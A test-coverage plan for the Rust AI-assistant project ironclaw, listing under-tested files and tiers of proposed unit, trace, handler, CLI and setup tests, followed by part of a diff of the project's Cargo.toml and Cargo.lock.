These files account for the vast majority of the coverage gap:
| File | Lines | Miss | Coverage | Lines to 95% |
|------|------:|-----:|---------:|--------------:|
| `src/extensions/manager.rs` | 2,404 | 2,083 | 13.3% | 1,962 |
| `src/setup/wizard.rs` | 2,150 | 1,789 | 16.8% | 1,681 |
| `src/history/store.rs` | 1,486 | 1,486 | 0.0% | 1,411 |
| `src/channels/web/server.rs` | 1,985 | 993 | 50.0% | 893 |
| `src/channels/wasm/wrapper.rs` | 2,237 | 934 | 58.2% | 822 |
| `src/agent/thread_ops.rs` | 1,044 | 763 | 26.9% | 710 |
| `src/cli/tool.rs` | 757 | 735 | 2.9% | 697 |
| `src/setup/channels.rs` | 645 | 596 | 7.6% | 563 |
| `src/agent/commands.rs` | 587 | 587 | 0.0% | 557 |
| `src/main.rs` | 740 | 522 | 29.4% | 485 |
| `src/channels/web/handlers/jobs.rs` | 513 | 456 | 11.1% | 430 |
| `src/tools/builder/core.rs` | 524 | 456 | 13.0% | 429 |
| `src/agent/worker.rs` | 1,078 | 467 | 56.7% | 413 |
| `src/channels/web/handlers/chat.rs` | 564 | 417 | 26.1% | 388 |
| `src/tools/wasm/wrapper.rs` | 1,005 | 436 | 56.6% | 385 |
| `src/channels/signal.rs` | 1,814 | 472 | 74.0% | 381 |
| `src/tools/mcp/auth.rs` | 472 | 378 | 19.9% | 354 |
| `src/worker/runtime.rs` | 350 | 330 | 5.7% | 312 |
| `src/tools/builtin/job.rs` | 1,014 | 359 | 64.6% | 308 |
| `src/cli/mcp.rs` | 322 | 319 | 0.9% | 302 |
| `src/cli/oauth_defaults.rs` | 730 | 335 | 54.1% | 298 |
| `src/llm/nearai_chat.rs` | 854 | 340 | 60.2% | 297 |
| `src/sandbox/container.rs` | 407 | 317 | 22.1% | 296 |
| `src/tools/mcp/client.rs` | 341 | 291 | 14.7% | 273 |
| `src/registry/installer.rs` | 765 | 311 | 59.3% | 272 |
| `src/orchestrator/job_manager.rs` | 405 | 270 | 33.3% | 249 |
| `src/channels/web/handlers/routines.rs` | 249 | 249 | 0.0% | 236 |
| `src/agent/scheduler.rs` | 559 | 263 | 53.0% | 235 |
| `src/tools/wasm/storage.rs` | 296 | 243 | 17.9% | 228 |
| `src/channels/repl.rs` | 233 | 233 | 0.0% | 221 |
| `src/llm/session.rs` | 413 | 242 | 41.4% | 221 |
| `src/worker/claude_bridge.rs` | 629 | 247 | 60.7% | 215 |
| `src/agent/agent_loop.rs` | 523 | 234 | 55.2% | 207 |
| `src/worker/api.rs` | 258 | 207 | 19.8% | 194 |
| `src/sandbox/proxy/http.rs` | 307 | 192 | 37.5% | 176 |
| `src/channels/wasm/storage.rs` | 182 | 182 | 0.0% | 172 |
| `src/cli/registry.rs` | 177 | 177 | 0.0% | 168 |
| `src/llm/reasoning.rs` | 1,163 | 219 | 81.2% | 160 |
| `src/tools/builder/testing.rs` | 308 | 174 | 43.5% | 158 |
| `src/db/postgres.rs` | 166 | 166 | 0.0% | 157 |
---
## Tier 1 -- High-Impact Unit Tests (~8,500 lines)
Pure logic, serialization, and database queries testable in isolation without real
infrastructure. Highest coverage gain per unit of effort.
### `src/history/store.rs` -- 0% -> 95% (+1,411 lines)
PostgreSQL repository layer (conversations, jobs, actions, LLM calls, estimation
snapshots). Test query construction and result mapping. Can use the libSQL backend
as a real in-memory database or test doubles for the `Database` trait.
**Tests to write:**
- `test_store_conversation_crud` -- create, read, update, delete conversations
- `test_store_job_lifecycle` -- insert job, update status through state machine
- `test_store_action_recording` -- record and query job actions
- `test_store_llm_call_tracking` -- insert and aggregate LLM call records
- `test_store_estimation_snapshots` -- save and retrieve estimation data
### `src/history/analytics.rs` -- 0% -> 95% (+133 lines)
Aggregation queries (JobStats, ToolStats). Test the query builders and result
deserialization.
**Tests to write:**
- `test_job_stats_aggregation` -- verify counts, durations, success rates
- `test_tool_stats_ranking` -- verify tool usage frequency sorting
- `test_analytics_empty_db` -- graceful handling of no data
### `src/extensions/manager.rs` -- 13.3% -> 95% (+1,962 lines)
Largest single file gap. Extension lifecycle orchestration (install, auth,
activate, remove), config parsing, and state transitions.
**Tests to write:**
- `test_extension_install_from_manifest` -- parse manifest, create extension record
- `test_extension_auth_flow` -- OAuth token setup, credential storage
- `test_extension_activate_deactivate` -- state transitions, tool registration
- `test_extension_remove_cleanup` -- remove extension, clean up artifacts
- `test_extension_config_validation` -- reject invalid configs, handle defaults
- `test_extension_list_filtering` -- filter by status, type, search query
- `test_extension_capability_check` -- verify required capabilities before activation
### `src/extensions/discovery.rs` -- 27.8% -> 95% (+125 lines)
Extension discovery from filesystem and registry.
**Tests to write:**
- `test_discover_local_extensions` -- scan directory, parse manifests
- `test_discover_skip_invalid` -- gracefully skip malformed extension dirs
- `test_discover_dedup` -- handle duplicate extensions across paths
### `src/tools/builder/core.rs` -- 13% -> 95% (+429 lines)
`BuildRequirement`, `SoftwareType`, `Language` types and project scaffolding.
**Tests to write:**
- `test_build_requirement_parsing` -- deserialize from JSON
- `test_scaffold_project_structure` -- verify generated file tree
- `test_language_detection` -- detect language from file extensions
- `test_software_type_constraints` -- validate type-specific requirements
### `src/tools/builder/testing.rs` -- 43.5% -> 95% (+158 lines)
Test harness integration for built tools.
**Tests to write:**
- `test_harness_setup_teardown` -- lifecycle of test environment
- `test_harness_run_tests` -- execute tests and capture results
- `test_harness_failure_reporting` -- verify error details on test failure
### `src/tools/mcp/auth.rs` -- 19.9% -> 95% (+354 lines)
OAuth token management for MCP servers.
**Tests to write:**
- `test_token_refresh_on_expiry` -- auto-refresh when token expires
- `test_token_header_injection` -- correct Authorization header format
- `test_token_persistence` -- save/load tokens across restarts
- `test_oauth_pkce_flow` -- code verifier/challenge generation
- `test_auth_config_parsing` -- parse various auth config formats
### `src/tools/mcp/client.rs` -- 14.7% -> 95% (+273 lines)
JSON-RPC client for MCP protocol.
**Tests to write:**
- `test_jsonrpc_request_serialization` -- correct JSON-RPC 2.0 format
- `test_jsonrpc_response_parsing` -- handle success, error, and batch responses
- `test_jsonrpc_error_codes` -- map MCP error codes to ToolError
- `test_tool_list_discovery` -- parse tools/list response
- `test_tool_call_roundtrip` -- serialize call, parse result
### `src/tools/wasm/storage.rs` -- 17.9% -> 95% (+228 lines)
WASM tool persistence (store, load, delete, list).
**Tests to write:**
- `test_wasm_tool_store_roundtrip` -- store and retrieve tool binary + metadata
- `test_wasm_tool_delete` -- remove tool and verify gone
- `test_wasm_tool_list_filtering` -- filter by name, capability
- `test_wasm_tool_update_metadata` -- update without re-uploading binary
### `src/tools/wasm/wrapper.rs` -- 56.6% -> 95% (+385 lines)
Tool trait wrapper for WASM modules.
**Tests to write:**
- `test_wasm_param_marshalling` -- JSON params to WASM component model types
- `test_wasm_output_conversion` -- WASM return values to ToolOutput
- `test_wasm_error_propagation` -- WASM traps to ToolError
- `test_wasm_fuel_exhaustion` -- verify fuel limit enforcement
- `test_wasm_memory_limit` -- verify memory ceiling
### `src/tools/wasm/loader.rs` -- 62.4% -> 95% (+156 lines)
WASM tool discovery from filesystem.
**Tests to write:**
- `test_loader_scan_directory` -- find .wasm files with capabilities.json
- `test_loader_skip_invalid` -- skip files without valid WIT exports
- `test_loader_cache_invalidation` -- reload when file changes
### `src/tools/builtin/job.rs` -- 64.6% -> 95% (+308 lines)
Job management tools (CreateJob, ListJobs, JobStatus, CancelJob).
**Tests to write:**
- `test_create_job_params` -- validate required/optional parameters
- `test_list_jobs_formatting` -- verify output structure
- `test_job_status_transitions` -- query status at each state
- `test_cancel_job_running` -- cancel an in-progress job
- `test_cancel_job_completed` -- error on already-completed job
### `src/secrets/store.rs` -- 48.1% -> 95% (+145 lines)
Encrypted secret storage.
**Tests to write:**
- `test_secret_store_roundtrip` -- store encrypted, retrieve decrypted
- `test_secret_update` -- overwrite existing secret
- `test_secret_delete` -- remove and verify inaccessible
- `test_secret_list_redacted` -- list shows names but not values
### `src/llm/session.rs` -- 41.4% -> 95% (+221 lines)
Session token management with auto-renewal.
**Tests to write:**
- `test_session_token_parsing` -- parse `sess_xxx` format
- `test_session_expiry_detection` -- detect expired tokens
- `test_session_auto_renewal` -- trigger renewal before expiry
- `test_session_concurrent_renewal` -- only one renewal in flight
### `src/llm/nearai_chat.rs` -- 60.2% -> 95% (+297 lines)
NEAR AI Chat Completions provider.
**Tests to write:**
- `test_nearai_request_building` -- correct endpoint, headers, body
- `test_nearai_response_parsing` -- parse streaming and non-streaming responses
- `test_nearai_tool_message_flattening` -- tool messages flattened to text
- `test_nearai_auth_modes` -- session token vs API key auth
- `test_nearai_error_handling` -- rate limits, auth failures, server errors
### `src/llm/mod.rs` -- 53.7% -> 95% (+112 lines)
Provider factory and backend selection.
**Tests to write:**
- `test_provider_factory_nearai` -- select NEAR AI from config
- `test_provider_factory_openai` -- select OpenAI from config
- `test_provider_factory_ollama` -- select Ollama from config
- `test_provider_factory_invalid` -- error on unknown backend
### `src/llm/reasoning.rs` -- 81.2% -> 95% (+160 lines)
Planning, tool selection, evaluation logic.
**Tests to write:**
- `test_reasoning_step_parsing` -- parse planning steps from LLM output
- `test_tool_selection_scoring` -- rank tools by relevance
- `test_evaluation_rubric` -- score completions against criteria
- `test_reasoning_with_no_tools` -- handle tool-less responses
### `src/db/postgres.rs` -- 0% -> 95% (+157 lines)
PostgreSQL backend delegation to Store + Repository.
**Tests to write:**
- `test_postgres_backend_delegates` -- verify delegation pattern (trait-level)
- `test_postgres_connection_config` -- TLS, pool size, timeout parsing
### `src/workspace/mod.rs` -- 75.9% -> 95% (+109 lines)
Memory operations (write, read, search, tree).
**Tests to write:**
- `test_workspace_write_read` -- write document, read it back
- `test_workspace_search_hybrid` -- FTS + vector search via RRF
- `test_workspace_tree` -- directory listing of memory filesystem
- `test_workspace_overwrite` -- update existing document
### `src/workspace/embeddings.rs` -- 35.1% -> 95% (~100 lines)
Embedding provider abstraction.
**Tests to write:**
- `test_embedding_dimension_handling` -- verify dimension config
- `test_embedding_batch_processing` -- batch multiple chunks
- `test_embedding_provider_fallback` -- graceful degradation when unavailable
---
## Tier 2 -- Trace Tests (~7,000 lines)
End-to-end tests that exercise the agent loop, worker, scheduler, and dispatcher
by replaying LLM traces through `TestRig` (see `tests/support/test_rig.rs`). Each
trace test covers multiple modules simultaneously, making them high-leverage.
Each trace test needs:
1. A JSON fixture in `tests/fixtures/llm_traces/`
2. A test file in `tests/` using `TestRigBuilder`
### Trace: Thread Operations
**Covers:** `agent/thread_ops.rs` (+710 lines)
Test thread creation, listing, switching, and deletion via trace replay.
**Fixture:** `thread_operations.json`
**Tests:**
- `test_thread_create_and_switch` -- create thread, switch to it, verify context
- `test_thread_list` -- list all threads, verify metadata
- `test_thread_delete` -- delete thread, verify removal
- `test_thread_switch_nonexistent` -- error handling for missing thread
### Trace: Agent Commands
**Covers:** `agent/commands.rs` (+557 lines)
Test slash commands through the agent loop.
**Fixture:** `agent_commands.json`
**Tests:**
- `test_command_help` -- /help returns command list
- `test_command_clear` -- /clear resets conversation
- `test_command_compact` -- /compact triggers summarization
- `test_command_undo_redo` -- /undo then /redo restores state
- `test_command_status` -- /status shows agent state
### Trace: Worker Multi-Turn Execution
**Covers:** `agent/worker.rs` (+413 lines), `agent/agent_loop.rs` (+207 lines)
Test multi-turn tool calling, error recovery, and completion flows.
**Fixture:** `worker_multi_turn.json`
**Tests:**
- `test_worker_sequential_tools` -- call tool A, then tool B based on A's result
- `test_worker_tool_error_recovery` -- tool fails, agent retries or adapts
- `test_worker_max_turns` -- verify turn limit enforcement
### Trace: Scheduler Parallel Jobs
**Covers:** `agent/scheduler.rs` (+235 lines)
Test parallel job dispatch and completion tracking.
**Fixture:** `scheduler_parallel.json`
**Tests:**
- `test_scheduler_parallel_dispatch` -- dispatch 3 jobs, all complete
- `test_scheduler_job_dependency` -- job B waits for job A
- `test_scheduler_stuck_detection` -- detect and recover stuck job
### Trace: Dispatcher Skill Selection
**Covers:** `agent/dispatcher.rs` (+153 lines)
Test skill-aware routing and tool attenuation.
**Fixture:** `dispatcher_skills.json`
**Tests:**
- `test_dispatcher_skill_match` -- match message to skill, inject prompt
- `test_dispatcher_tool_attenuation` -- installed skill loses dangerous tools
- `test_dispatcher_no_skill` -- fallback when no skill matches
### Trace: Routine Execution
**Covers:** `agent/routine_engine.rs` (~80 lines), `agent/routine.rs` (~40 lines)
Test cron tick and event-triggered routine execution.
**Fixture:** `routine_execution.json`
**Tests:**
- `test_routine_cron_trigger` -- routine fires on schedule
- `test_routine_event_trigger` -- routine fires on matching event
- `test_routine_guardrails` -- routine respects policy constraints
### Trace: Compaction and Context Pressure
**Covers:** `agent/compaction.rs` (~50 lines), `agent/context_monitor.rs` (~30 lines)
Test turn summarization and memory pressure detection.
**Fixture:** `compaction_flow.json`
**Tests:**
- `test_compaction_triggers_at_threshold` -- summarize when context exceeds limit
- `test_compaction_preserves_recent` -- keep recent turns intact
- `test_context_pressure_warning` -- emit warning at high usage
### Trace: Job Tool Coverage
**Covers:** `tools/builtin/job.rs` (+308 lines), `tools/builtin/skill_tools.rs` (+110 lines)
Test job and skill management tools through agent execution.
**Fixture:** `job_and_skill_tools.json`
**Tests:**
- `test_create_and_list_jobs` -- create job, list shows it
- `test_job_status_query` -- query status of running job
- `test_skill_list_and_search` -- list local skills, search registry
### Trace: Memory Tools
**Covers:** `tools/builtin/memory.rs` (~20 lines), `workspace/` (+109 lines)
Test memory operations through agent tool calls.
**Fixture:** `memory_tools.json`
**Tests:**
- `test_memory_write_and_search` -- write doc, search finds it
- `test_memory_read_by_path` -- read specific document
- `test_memory_tree` -- list memory filesystem structure
### Trace: Extension Management
**Covers:** `tools/builtin/extension_tools.rs` (~40 lines)
Test extension lifecycle via agent tool calls.
**Fixture:** `extension_management.json`
**Tests:**
- `test_extension_install_via_tool` -- agent installs an extension
- `test_extension_auth_via_tool` -- agent configures auth
- `test_extension_activate_via_tool` -- agent activates extension
### Trace: Self-Repair
**Covers:** `agent/self_repair.rs` (~40 lines)
Test stuck job detection and recovery.
**Fixture:** `self_repair.json`
**Tests:**
- `test_stuck_job_detected` -- job stuck for > threshold triggers repair
- `test_stuck_job_recovered` -- recovery restarts job successfully
- `test_stuck_job_fails_permanently` -- recovery fails, job marked failed
### Trace: Heartbeat
**Covers:** `agent/heartbeat.rs` (+80 lines)
Test periodic proactive execution.
**Fixture:** `heartbeat.json`
**Tests:**
- `test_heartbeat_periodic_fire` -- heartbeat triggers at interval
- `test_heartbeat_reads_checklist` -- reads HEARTBEAT.md, processes items
- `test_heartbeat_notification` -- sends notification on findings
---
## Tier 3 -- Web/Channel Handler Tests (~4,500 lines)
Test HTTP handlers and SSE/WS endpoints using `axum_test` or
`tower::ServiceExt::oneshot` with a real router and in-memory database.
### `src/channels/web/server.rs` -- 50% -> 95% (+893 lines)
The single biggest web gap. 40+ API endpoints.
**Tests to write:**
- `test_api_health` -- GET /health returns 200
- `test_api_chat_submit` -- POST /api/chat sends message
- `test_api_jobs_list` -- GET /api/jobs returns job list
- `test_api_jobs_create` -- POST /api/jobs creates job
- `test_api_routines_crud` -- full CRUD cycle for routines
- `test_api_settings_get_set` -- GET/PUT settings
- `test_api_memory_search` -- POST /api/memory/search
- `test_api_extensions_list` -- GET /api/extensions
- `test_api_skills_list` -- GET /api/skills
- `test_api_sse_connect` -- SSE stream connects and receives events
- `test_api_auth_required` -- endpoints reject missing/bad tokens
- `test_api_cors_headers` -- verify CORS configuration
### `src/channels/web/handlers/chat.rs` -- 26.1% -> 95% (+388 lines)
Chat message submission and SSE streaming.
**Tests to write:**
- `test_chat_submit_message` -- submit message, receive response
- `test_chat_sse_stream` -- verify SSE event format
- `test_chat_thread_context` -- messages scoped to thread
- `test_chat_invalid_payload` -- reject malformed requests
### `src/channels/web/handlers/jobs.rs` -- 11.1% -> 95% (+430 lines)
Job CRUD endpoints.
**Tests to write:**
- `test_jobs_list_empty` -- empty list returns []
- `test_jobs_create_and_get` -- create, then GET by ID
- `test_jobs_cancel` -- cancel running job
- `test_jobs_filter_by_status` -- filter by pending/running/completed
- `test_jobs_pagination` -- limit/offset parameters
### `src/channels/web/handlers/routines.rs` -- 0% -> 95% (+236 lines)
Routine CRUD endpoints.
**Tests to write:**
- `test_routines_create` -- POST creates routine
- `test_routines_list` -- GET lists all routines
- `test_routines_update` -- PUT updates routine config
- `test_routines_delete` -- DELETE removes routine
- `test_routines_history` -- GET history for a routine
### `src/channels/web/handlers/extensions.rs` -- 0% -> 95% (+129 lines)
Extension management endpoints.
**Tests to write:**
- `test_extensions_list` -- list installed extensions
- `test_extensions_install` -- install from manifest URL
- `test_extensions_activate` -- activate/deactivate toggle
- `test_extensions_remove` -- remove installed extension
### `src/channels/web/handlers/memory.rs` -- 0% -> 95% (+110 lines)
Memory/workspace endpoints.
**Tests to write:**
- `test_memory_search` -- search returns ranked results
- `test_memory_write` -- write a document
- `test_memory_read` -- read by path
- `test_memory_tree` -- tree returns filesystem structure
### `src/channels/web/handlers/settings.rs` -- 0% -> 95% (+103 lines)
Settings endpoints.
**Tests to write:**
- `test_settings_get` -- retrieve current settings
- `test_settings_update` -- update individual setting
- `test_settings_validation` -- reject invalid setting values
### `src/channels/web/handlers/static_files.rs` -- 0% -> 95% (+97 lines)
Static file serving.
**Tests to write:**
- `test_static_index_html` -- GET / serves index.html
- `test_static_css_js` -- serve CSS/JS with correct content types
- `test_static_404` -- missing file returns 404
### `src/channels/wasm/wrapper.rs` -- 58.2% -> 95% (+822 lines)
WASM channel wrapper (message routing, lifecycle).
**Tests to write:**
- `test_wasm_channel_start` -- initialize WASM channel module
- `test_wasm_channel_message_routing` -- route incoming message to WASM
- `test_wasm_channel_response` -- return WASM response to caller
- `test_wasm_channel_error_handling` -- handle WASM trap gracefully
- `test_wasm_channel_lifecycle` -- start, process, shutdown
### `src/channels/wasm/loader.rs` -- 38.1% -> 95% (+141 lines)
WASM channel discovery.
**Tests to write:**
- `test_channel_loader_scan` -- find channel WASM modules
- `test_channel_loader_validation` -- reject invalid modules
- `test_channel_loader_manifest` -- parse channel capabilities
### `src/channels/wasm/storage.rs` -- 0% -> 95% (+172 lines)
WASM channel state persistence.
**Tests to write:**
- `test_channel_storage_save_load` -- persist and restore channel state
- `test_channel_storage_isolation` -- per-channel state isolation
- `test_channel_storage_cleanup` -- remove state on channel uninstall
### `src/channels/signal.rs` -- 74% -> 95% (+381 lines)
Signal protocol channel.
**Tests to write:**
- `test_signal_message_send` -- send encrypted message
- `test_signal_message_receive` -- decrypt incoming message
- `test_signal_attachment_handling` -- handle media attachments
- `test_signal_group_message` -- group chat routing
- `test_signal_error_handling` -- handle connection failures
### `src/channels/repl.rs` -- 0% -> 95% (+221 lines)
Simple REPL channel.
**Tests to write:**
- `test_repl_input_parsing` -- parse user input lines
- `test_repl_output_formatting` -- format agent responses
- `test_repl_multiline` -- handle multi-line input
- `test_repl_special_commands` -- handle /quit, /help
---
## Tier 4 -- CLI Tests (~2,100 lines)
CLI subcommands can be tested by invoking clap-parsed command structs directly
or by calling the handler functions with constructed arguments.
### `src/cli/tool.rs` -- 2.9% -> 95% (+697 lines)
Tool CLI (install, list, remove, build).
**Tests to write:**
- `test_cli_tool_list` -- list installed tools
- `test_cli_tool_install_local` -- install from local .wasm file
- `test_cli_tool_install_registry` -- install from registry
- `test_cli_tool_remove` -- remove installed tool
- `test_cli_tool_build` -- scaffold and build tool project
- `test_cli_tool_info` -- display tool details
### `src/cli/mcp.rs` -- 0.9% -> 95% (+302 lines)
MCP server management CLI.
**Tests to write:**
- `test_cli_mcp_list` -- list configured MCP servers
- `test_cli_mcp_add` -- add MCP server config
- `test_cli_mcp_remove` -- remove MCP server config
- `test_cli_mcp_tools` -- list tools from MCP server
- `test_cli_mcp_test_connection` -- verify MCP server reachable
### `src/cli/oauth_defaults.rs` -- 54.1% -> 95% (+298 lines)
OAuth default configurations.
**Tests to write:**
- `test_oauth_defaults_loading` -- load default OAuth configs
- `test_oauth_url_construction` -- build auth/token URLs
- `test_oauth_scope_merging` -- merge requested scopes with defaults
- `test_oauth_provider_lookup` -- lookup by provider name
### `src/cli/registry.rs` -- 0% -> 95% (+168 lines)
Registry CLI commands.
**Tests to write:**
- `test_cli_registry_search` -- search for packages
- `test_cli_registry_install` -- install package from registry
- `test_cli_registry_info` -- display package details
### `src/cli/status.rs` -- 0% -> 95% (+142 lines)
Status display commands.
**Tests to write:**
- `test_cli_status_gathering` -- collect system status info
- `test_cli_status_formatting` -- render status output
- `test_cli_status_components` -- check individual components
### `src/cli/memory.rs` -- 15.5% -> 95% (+138 lines)
Memory CLI subcommands.
**Tests to write:**
- `test_cli_memory_search` -- search workspace from CLI
- `test_cli_memory_write` -- write document from CLI
- `test_cli_memory_read` -- read document from CLI
- `test_cli_memory_tree` -- display memory tree
### `src/cli/doctor.rs` -- 28.7% -> 95% (+115 lines)
Diagnostic checks.
**Tests to write:**
- `test_doctor_check_database` -- verify DB connectivity check
- `test_doctor_check_llm` -- verify LLM provider check
- `test_doctor_check_tools` -- verify tool availability check
- `test_doctor_report_format` -- verify output format
### `src/cli/config.rs` -- 36.5% -> 95% (~100 lines)
Config CLI subcommands.
**Tests to write:**
- `test_cli_config_get` -- read config value
- `test_cli_config_set` -- write config value
- `test_cli_config_list` -- list all config keys
- `test_cli_config_reset` -- reset to defaults
---
## Tier 5 -- Setup/Infra Tests (~2,400 lines)
Hardest to test: interactive wizards, Docker, process spawning. Strategy: extract
pure logic into testable functions, test the interactive parts by injecting mock
input.
### `src/setup/wizard.rs` -- 16.8% -> 95% (+1,681 lines)
7-step interactive onboarding wizard. Refactor to extract validation functions,
step logic, and config generation into testable units.
**Tests to write:**
- `test_wizard_step_validation` -- each step validates input correctly
- `test_wizard_config_generation` -- generate config from wizard answers
- `test_wizard_default_values` -- verify sensible defaults
- `test_wizard_skip_completed` -- skip already-configured steps
- `test_wizard_llm_backend_selection` -- provider-specific config paths
- `test_wizard_channel_setup` -- channel configuration logic
### `src/setup/channels.rs` -- 7.6% -> 95% (+563 lines)
Channel setup helpers.
**Tests to write:**
- `test_channel_setup_defaults` -- default channel configuration
- `test_channel_setup_validation` -- reject invalid channel configs
- `test_channel_setup_telegram` -- Telegram-specific setup logic
- `test_channel_setup_signal` -- Signal-specific setup logic
- `test_channel_setup_webhook` -- webhook URL validation
### `src/setup/prompts.rs` -- 24.8% -> 95% (+147 lines)
Terminal prompt utilities.
**Tests to write:**
- `test_prompt_select` -- selection from list
- `test_prompt_confirm` -- yes/no confirmation
- `test_prompt_secret` -- masked input
- `test_prompt_validation` -- input validation rules
### `src/sandbox/container.rs` -- 22.1% -> 95% (+296 lines)
Docker container lifecycle. Test command construction without actual Docker.
**Tests to write:**
- `test_container_config_to_docker_args` -- generate correct docker run args
- `test_container_volume_mounts` -- workspace mount configuration
- `test_container_env_scrubbing` -- sensitive env vars removed
- `test_container_resource_limits` -- CPU/memory limit args
- `test_container_network_config` -- proxy network setup
### `src/sandbox/manager.rs` -- 59% -> 95% (+114 lines)
Sandbox orchestration.
**Tests to write:**
- `test_sandbox_policy_enforcement` -- policy to container config mapping
- `test_sandbox_cleanup` -- cleanup on job completion
- `test_sandbox_concurrent_limit` -- enforce max concurrent containers
### `src/sandbox/proxy/http.rs` -- 37.5% -> 95% (+176 lines)
HTTP proxy for container network access.
**Tests to write:**
- `test_proxy_allowlist_enforcement` -- block disallowed domains
- `test_proxy_credential_injection` -- inject auth headers
- `test_proxy_connect_tunnel` -- HTTPS CONNECT method handling
- `test_proxy_logging` -- request/response logging
### `src/worker/runtime.rs` -- 5.7% -> 95% (+312 lines)
Worker execution loop (runs inside containers).
**Tests to write:**
- `test_worker_tool_dispatch` -- dispatch tool call, return result
- `test_worker_llm_interaction` -- send prompt, receive response
- `test_worker_turn_limit` -- enforce max turns
- `test_worker_error_propagation` -- tool error surfaces to agent
### `src/worker/claude_bridge.rs` -- 60.7% -> 95% (+215 lines)
Claude CLI bridge.
**Tests to write:**
- `test_claude_command_construction` -- build claude CLI command
- `test_claude_output_parsing` -- parse claude CLI JSON output
- `test_claude_error_handling` -- handle CLI crashes gracefully
- `test_claude_config_injection` -- inject config dir and model
### `src/worker/api.rs` -- 19.8% -> 95% (+194 lines)
Worker HTTP client to orchestrator.
**Tests to write:**
- `test_worker_api_request_building` -- correct endpoint URLs and headers
- `test_worker_api_response_parsing` -- parse orchestrator responses
- `test_worker_api_auth_token` -- bearer token injection
- `test_worker_api_retry` -- retry on transient failures
### `src/main.rs` -- 29.4% -> 95% (+485 lines)
Entry point and startup. Extract startup logic into testable functions.
**Tests to write:**
- `test_cli_arg_parsing` -- verify clap argument parsing
- `test_startup_config_loading` -- config from env + file
- `test_startup_channel_selection` -- select channels from config
- `test_startup_feature_flags` -- feature-gated code paths
---
## Tier 6 -- Remaining Files to 95% (~2,000 lines)
Smaller files that each need a handful of additional tests.
| File | Lines Needed | Test Focus |
|------|-------------:|------------|
| `src/tools/builtin/skill_tools.rs` | 110 | skill_list, skill_search, skill_install, skill_remove |
| `src/hooks/bundled.rs` | 115 | bundled hook execution, hook discovery |
| `src/registry/installer.rs` | 272 | package download, verification, installation |
| `src/registry/artifacts.rs` | 72 | artifact packaging, checksums |
| `src/orchestrator/job_manager.rs` | 249 | container lifecycle, job routing |
| `src/orchestrator/api.rs` | 125 | LLM proxy, event dispatch endpoints |
| `src/app.rs` | 137 | AppBuilder configuration, startup sequence |
| `src/service.rs` | 120 | service lifecycle, signal handling |
| `src/config/channels.rs` | 55 | channel config parsing |
| `src/config/sandbox.rs` | 61 | sandbox config parsing |
| `src/config/tunnel.rs` | 43 | tunnel config parsing |
| `src/config/mod.rs` | 63 | config merging, env override |
| `src/config/database.rs` | 38 | database URL parsing |
| `src/evaluation/success.rs` | 34 | success evaluator logic |
| `src/evaluation/metrics.rs` | 40 | metrics collection |
| `src/context/manager.rs` | 57 | concurrent job context isolation |
| `src/context/memory.rs` | 36 | action recording, conversation memory |
---
## Execution Priority
Maximize coverage gain per unit of effort:
| Order | Category | Lines Gained | Effort |
|------:|----------|-------------:|--------|
| 1 | Trace tests (Tier 2) | ~7,000 | Medium (high leverage, each test covers many modules) |
| 2 | Unit tests for 0% files (Tier 1 subset) | ~3,500 | Low (pure logic, no infrastructure) |
| 3 | Web handler tests (Tier 3) | ~4,500 | Medium (axum_test + in-memory DB) |
| 4 | Extension/MCP/WASM unit tests (Tier 1 remainder) | ~3,500 | Medium |
| 5 | CLI subcommand tests (Tier 4) | ~2,100 | Low-Medium |
| 6 | Setup wizard extraction + tests (Tier 5) | ~2,400 | High (requires refactoring) |
| 7 | LLM provider tests (Tier 1 subset) | ~800 | Medium |
| 8 | Remaining small files (Tier 6) | ~2,000 | Low |
## Notes
- All trace tests require `--features libsql` and use `TestRigBuilder` from `tests/support/`
- Web handler tests can use `axum::test` helpers or build the router directly
- CLI tests should call handler functions directly, not shell out to the binary
- Setup wizard tests require extracting pure logic from interactive prompts first
- Sandbox/container tests should verify command construction, not run Docker
- Worker tests can use `TraceLlm` for the LLM provider, same as trace tests
Generated
+304 -2307
View File
File diff suppressed because it is too large Load Diff
+16 -145
View File
@@ -1,37 +1,13 @@
[workspace]
members = ["."]
exclude = [
"channels-src/discord",
"channels-src/telegram",
"channels-src/slack",
"channels-src/whatsapp",
"tools-src/github",
"tools-src/gmail",
"tools-src/google-calendar",
"tools-src/google-docs",
"tools-src/google-drive",
"tools-src/google-sheets",
"tools-src/google-slides",
"tools-src/slack",
"tools-src/telegram",
]
members = [".", "benchmarks"]
[package]
name = "ironclaw"
version = "0.16.1"
version = "0.1.0"
edition = "2024"
rust-version = "1.92"
rust-version = "1.85"
description = "Secure personal AI assistant that protects your data and expands its capabilities on the fly"
authors = ["NEAR AI <[email protected]>"]
license = "MIT OR Apache-2.0"
homepage = "https://github.com/nearai/ironclaw"
repository = "https://github.com/nearai/ironclaw"
[package.metadata.wix]
upgrade-guid = "D0156E61-BA37-451E-8AB9-1A2ECCCFA48F"
path-guid = "F90B6EA6-87F7-499B-BB19-CF55DE1EB339"
license = false
eula = false
[dependencies]
# Async runtime
@@ -40,23 +16,17 @@ tokio-stream = { version = "0.1", features = ["sync"] }
futures = "0.3"
# HTTP client
reqwest = { version = "0.12", default-features = false, features = ["json", "multipart", "rustls-tls-native-roots", "stream"] }
reqwest = { version = "0.12", default-features = false, features = ["json", "rustls-tls", "stream"] }
# Serialization
serde = { version = "1", features = ["derive"] }
serde_json = "1"
# Database - PostgreSQL (default, feature-gated)
deadpool-postgres = { version = "0.14", optional = true }
tokio-postgres = { version = "0.7", features = ["with-uuid-1", "with-chrono-0_4", "with-serde_json-1"], optional = true }
postgres-types = { version = "0.2", features = ["with-serde_json-1"], optional = true }
refinery = { version = "0.8", features = ["tokio-postgres"], optional = true }
tokio-postgres-rustls = { version = "0.13", optional = true }
rustls = { version = "0.23", optional = true, default-features = false }
rustls-native-certs = { version = "0.8", optional = true }
# Database - libSQL/Turso (optional embedded database)
libsql = { version = "0.6", optional = true, default-features = false, features = ["core", "replication", "remote", "tls"] }
# Database
deadpool-postgres = "0.14"
tokio-postgres = { version = "0.7", features = ["with-uuid-1", "with-chrono-0_4", "with-serde_json-1"] }
postgres-types = { version = "0.2", features = ["with-serde_json-1"] }
refinery = { version = "0.8", features = ["tokio-postgres"] }
# Error handling
thiserror = "2"
@@ -68,13 +38,11 @@ tracing-subscriber = { version = "0.3", features = ["env-filter", "json"] }
# Configuration
dotenvy = "0.15"
toml = "0.8"
# Core types
uuid = { version = "1", features = ["v4", "v5", "serde"] }
uuid = { version = "1", features = ["v4", "serde"] }
chrono = { version = "0.4", features = ["serde"] }
chrono-tz = "0.10"
rust_decimal = { version = "1", features = ["serde", "serde-with-str", "maths"] }
